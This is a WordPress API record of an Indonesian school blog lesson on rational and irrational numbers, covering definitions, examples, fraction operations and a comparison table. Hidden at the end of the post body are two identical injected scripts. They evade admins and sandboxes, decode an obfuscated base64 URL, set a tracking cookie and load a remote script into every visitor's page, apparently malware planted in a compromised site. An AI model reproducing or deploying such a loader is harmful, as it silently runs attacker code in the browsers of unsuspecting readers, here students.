{"id":1728,"date":"2025-11-04T09:00:06","date_gmt":"2025-11-04T02:00:06","guid":{"rendered":"https:\/\/www.altaglobalschool.com\/blog\/?p=1728"},"modified":"2026-01-20T06:23:41","modified_gmt":"2026-01-19T23:23:41","slug":"bilangan-rasional-dan-irasional","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional","title":{"rendered":"Bilangan Rasional dan Irasional: Contoh, Rumus, &#038; Operasi Bilangan"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/79790cc3-b971-46cc-8a8f-52c82760b486.png\" alt=\"bilangan rasional dan irasional\" width=\"820\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kita sudah mengetahui banyak jenis bilangan dalam matematika, seperti bilangan asli, cacah, dan lain-lain. Namun, ternyata ada juga bilangan rasional. Nah, apa itu bilangan rasional? Dalam matematika, bilangan ini memegang peran penting karena menjadi dasar dari banyak konsep perhitungan.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dengan memahami bilangan rasional, kamu akan lebih mudah mengenali hubungan antarangka dalam bentuk pecahan, desimal, dan bilangan bulat. Menariknya, di samping bilangan rasional, ada pula kelompok bilangan yang berbeda sifatnya, yaitu bilangan irasional.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Melalui artikel ini, kamu akan mempelajari pengertian serta contoh bilangan rasional dan irasional agar bisa membedakannya dengan mudah dan memahami bagaimana keduanya digunakan dalam kehidupan sehari-hari.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Bilangan Rasional<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bilangan rasional adalah <strong>bilangan yang dapat dinyatakan dalam bentuk pecahan <\/strong><\/span><strong>\u200b<img loading=\"lazy\" decoding=\"async\" class=\"alignnone \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c23aa0f4-0f5a-4b47-a29b-17de2f7f375f.png\" width=\"13\" height=\"34\" \/>, di mana a dan b adalah bilangan bulat serta <img loading=\"lazy\" decoding=\"async\" class=\"alignnone \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1cce0f55-304f-490c-86e7-a8544880c7b3.png\" width=\"43\" height=\"18\" \/>.<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dengan kata lain, bilangan rasional adalah semua bilangan yang bisa ditulis sebagai hasil bagi dua bilangan bulat.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh bilangan rasional:<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Pecahan biasa: \u00bd, \u2154 , dan lain-lain<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bilangan bulat: \u20131, 0, 4\u00a0\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Desimal: 0,2\u00a0\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Desimal dengan pola berulang: 0,333<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Rumus bilangan rasional secara umum ialah <\/span><span style=\"font-weight: 400;\">, dengan ketentuan:<\/span><\/p>\n<p style=\"text-align: center;\"><strong>&#8220;a dan b adalah bilangan bulat&#8221;<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Artinya, bilangan rasional adalah bilangan yang bisa dituliskan sebagai pecahan antara dua bilangan bulat, di mana penyebutnya tidak boleh nol.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Contoh soal bilangan rasional:\u00a0<\/span><\/p>\n<ol style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">0,5 = \u00bd\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">5 = 5\/1\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">0,75 = \u00be\u00a0<\/span><\/li>\n<\/ol>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-prima\">Mengenal Bilangan Prima, Contoh, Rumus, dan Cara Mencarinya<\/a>\u00a0<\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Operasi Bilangan Rasional<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Operasi bilangan rasional meliputi penjumlahan, pengurangan, perkalian, dan pembagian. Berikut penjelasan dan rumus operasinya:\u00a0<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Penjumlahan dan Pengurangan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Untuk bilangan rasional <img decoding=\"async\" class=\"alignnone \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a1044829-791e-4904-8269-5629b9312857.png\" width=\"221\" \/>,<\/span><span style=\"font-weight: 400;\">\u00a0operasi penjumlahan dan pengurangan dilakukan dengan menyamakan penyebut terlebih dahulu:<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/75b38915-9d4e-4efa-9c8c-05d6d9874d43.png\" width=\"143\" height=\"99\" \/><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Perkalian<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Perkalian bilangan rasional cukup dengan mengalikan pembilang dan penyebut:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\"> <img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/5554b4a0-058e-4992-baed-17e249049cbc.png\" width=\"93\" \/><\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Pembagian<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pembagian bilangan rasional dengan <img loading=\"lazy\" decoding=\"async\" class=\"alignnone \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3ffc79a-3e6a-4ca0-88cb-0599080bb188.png\" width=\"48\" height=\"42\" \/><\/span><span style=\"font-weight: 400;\">dilakukan dengan \u00a0mengalikan bilangan pertama dengan kebalikan bilangan kedua:<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/8ff4c498-1bbd-4b53-89f9-ea103f49acbe.png\" width=\"168\" height=\"49\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Bilangan Irasional<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bilangan irasional adalah <strong>bilangan yang tidak dapat dinyatakan sebagai pecahan <img loading=\"lazy\" decoding=\"async\" class=\"alignnone \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c23aa0f4-0f5a-4b47-a29b-17de2f7f375f.png\" width=\"13\" height=\"34\" \/><\/strong><\/span><strong>, dengan a dan b bilangan bulat serta <img loading=\"lazy\" decoding=\"async\" class=\"alignnone \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1cce0f55-304f-490c-86e7-a8544880c7b3.png\" width=\"43\" height=\"18\" \/><\/strong><span style=\"font-weight: 400;\">. Artinya, bilangan irasional tidak bisa ditulis sebagai hasil bagi dua bilangan bulat, dan jika ditulis dalam bentuk desimal, hasilnya tidak berhenti dan tidak berulang secara teratur.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh bilangan irasional:<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/267d305c-4b01-4956-939c-abd3529acb70.png\" width=\"513\" height=\"86\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Ciri-Ciri Bilangan Irasional<\/b><\/span><\/h2>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Tidak dapat ditulis sebagai pecahan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bentuk desimalnya tidak berhenti dan tidak berulang.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Tidak termasuk bilangan bulat, pecahan, maupun bilangan rasional lainnya.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Perbedaan Bilangan Rasional dan Irasional<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Supaya lebih jelas, simak perbedaan bilangan rasional dan irasional berikut.<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Bilangan Rasional<\/strong><\/td>\n<td><strong>Bilangan Irasional<\/strong><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Bisa berbentuk pecahan<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tidak bisa berbentuk pecahan<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Teratur (pola berhenti atau berulang)<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tidak teratur dan tidak berulang<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Bisa berupa desimal yang berhenti atau berulang pola tertentu<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Desimal yang tidak berhenti dan tidak memiliki pola pengulangan<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-asli\">Pengertian Bilangan Asli, Jenis, Sifat, dan Contohnya<\/a>\u00a0<\/strong><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, kini pengetahuanmu di matematika bertambah setelah belajar bilangan rasional dan irasional. Namun, kamu tahu, tidak, matematika tidak hanya tentang angka,<\/span><em><span style=\"font-weight: 400;\"> lho<\/span><\/em><span style=\"font-weight: 400;\">!\u00a0 Tetapi juga tentang cara berpikir logis dan sistematis. Yuk, perkaya pengetahuan matematikamu dengan bergabung bersama<\/span><span style=\"font-weight: 400;\">\u00a0<\/span><strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School by Ruangguru<\/a><\/strong><span style=\"font-weight: 400;\">!<\/span><b>\u00a0<\/b><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Alta Global School<\/span><span style=\"font-weight: 400;\"> menyediakan sistem <\/span><em><span style=\"font-weight: 400;\">blended learning<\/span><\/em><span style=\"font-weight: 400;\">, gabungan pembelajaran daring dan luring, mulai dari <\/span><span style=\"font-weight: 400;\"><em>preschool<\/em> <\/span><span style=\"font-weight: 400;\">sampai <\/span><em><span style=\"font-weight: 400;\">high school<\/span><\/em><span style=\"font-weight: 400;\"><em>,<\/em> dengan <\/span><em><span style=\"font-weight: 400;\">Champions Curriculum<\/span><\/em><span style=\"font-weight: 400;\"> yang menggabungkan kurikulum internasional dan nasional. Yuk, daftar sekarang juga!<\/span><\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan isi data di bawah ini!<\/strong><\/p>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham! &#8212; Kita sudah mengetahui banyak jenis bilangan dalam matematika, seperti bilangan asli, cacah, dan lain-lain. Namun, ternyata ada juga bilangan rasional. Nah, apa itu bilangan rasional? Dalam matematika, bilangan ini memegang peran penting karena menjadi dasar dari banyak konsep [&hellip;]<\/p>\n","protected":false},"author":44,"featured_media":1728,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1762252000:1"],"_edit_last":["1"],"_aioseo_title":[null],"_aioseo_description":["Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/79790cc3-b971-46cc-8a8f-52c82760b486.png"],"_yoast_wpseo_primary_category":[""],"_yoast_wpseo_focuskw":["bilangan rasional dan irasional"],"_yoast_wpseo_metadesc":["Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!"],"_yoast_wpseo_linkdex":["77"],"_yoast_wpseo_content_score":["90"],"_yoast_wpseo_estimated-reading-time-minutes":["5"],"_linker_next_update":["1769390788"]},"categories":[1],"tags":[],"class_list":["post-1728","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Bilangan Rasional dan Irasional: Contoh, Rumus, &amp; Operasi Bilangan<\/title>\n<meta name=\"description\" content=\"Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bilangan Rasional dan Irasional: Contoh, Rumus, &amp; Operasi Bilangan\" \/>\n<meta property=\"og:description\" content=\"Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-04T02:00:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:23:41+00:00\" \/>\n<meta name=\"author\" content=\"Elvina Sarah Nur Alvia\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Elvina Sarah Nur Alvia\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional\",\"name\":\"Bilangan Rasional dan Irasional: Contoh, Rumus, & Operasi Bilangan\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/79790cc3-b971-46cc-8a8f-52c82760b486.png\",\"datePublished\":\"2025-11-04T02:00:06+00:00\",\"dateModified\":\"2026-01-19T23:23:41+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448\"},\"description\":\"Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/79790cc3-b971-46cc-8a8f-52c82760b486.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/79790cc3-b971-46cc-8a8f-52c82760b486.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Bilangan Rasional dan Irasional: Contoh, Rumus, &#038; Operasi Bilangan\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448\",\"name\":\"Elvina Sarah Nur Alvia\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g\",\"caption\":\"Elvina Sarah Nur Alvia\"},\"description\":\"Have enthusiasm in writing and sharing good things to people. :)\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/elvina-sarah-nur-alvia\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Bilangan Rasional dan Irasional: Contoh, Rumus, & Operasi Bilangan","description":"Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional","og_locale":"en_US","og_type":"article","og_title":"Bilangan Rasional dan Irasional: Contoh, Rumus, & Operasi Bilangan","og_description":"Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-11-04T02:00:06+00:00","article_modified_time":"2026-01-19T23:23:41+00:00","author":"Elvina Sarah Nur Alvia","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Elvina Sarah Nur Alvia","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional","url":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional","name":"Bilangan Rasional dan Irasional: Contoh, Rumus, & Operasi Bilangan","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/79790cc3-b971-46cc-8a8f-52c82760b486.png","datePublished":"2025-11-04T02:00:06+00:00","dateModified":"2026-01-19T23:23:41+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448"},"description":"Pelajari bilangan rasional dan irasional, mulai dari pengertian, ciri-ciri, hingga contoh lengkapnya agar kamu lebih paham!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/79790cc3-b971-46cc-8a8f-52c82760b486.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/79790cc3-b971-46cc-8a8f-52c82760b486.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/bilangan-rasional-dan-irasional#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Bilangan Rasional dan Irasional: Contoh, Rumus, &#038; Operasi Bilangan"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448","name":"Elvina Sarah Nur Alvia","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g","caption":"Elvina Sarah Nur Alvia"},"description":"Have enthusiasm in writing and sharing good things to people. :)","url":"https:\/\/www.altaglobalschool.com\/blog\/author\/elvina-sarah-nur-alvia"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1728","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=1728"}],"version-history":[{"count":5,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1728\/revisions"}],"predecessor-version":[{"id":1870,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1728\/revisions\/1870"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1728"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=1728"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=1728"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=1728"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}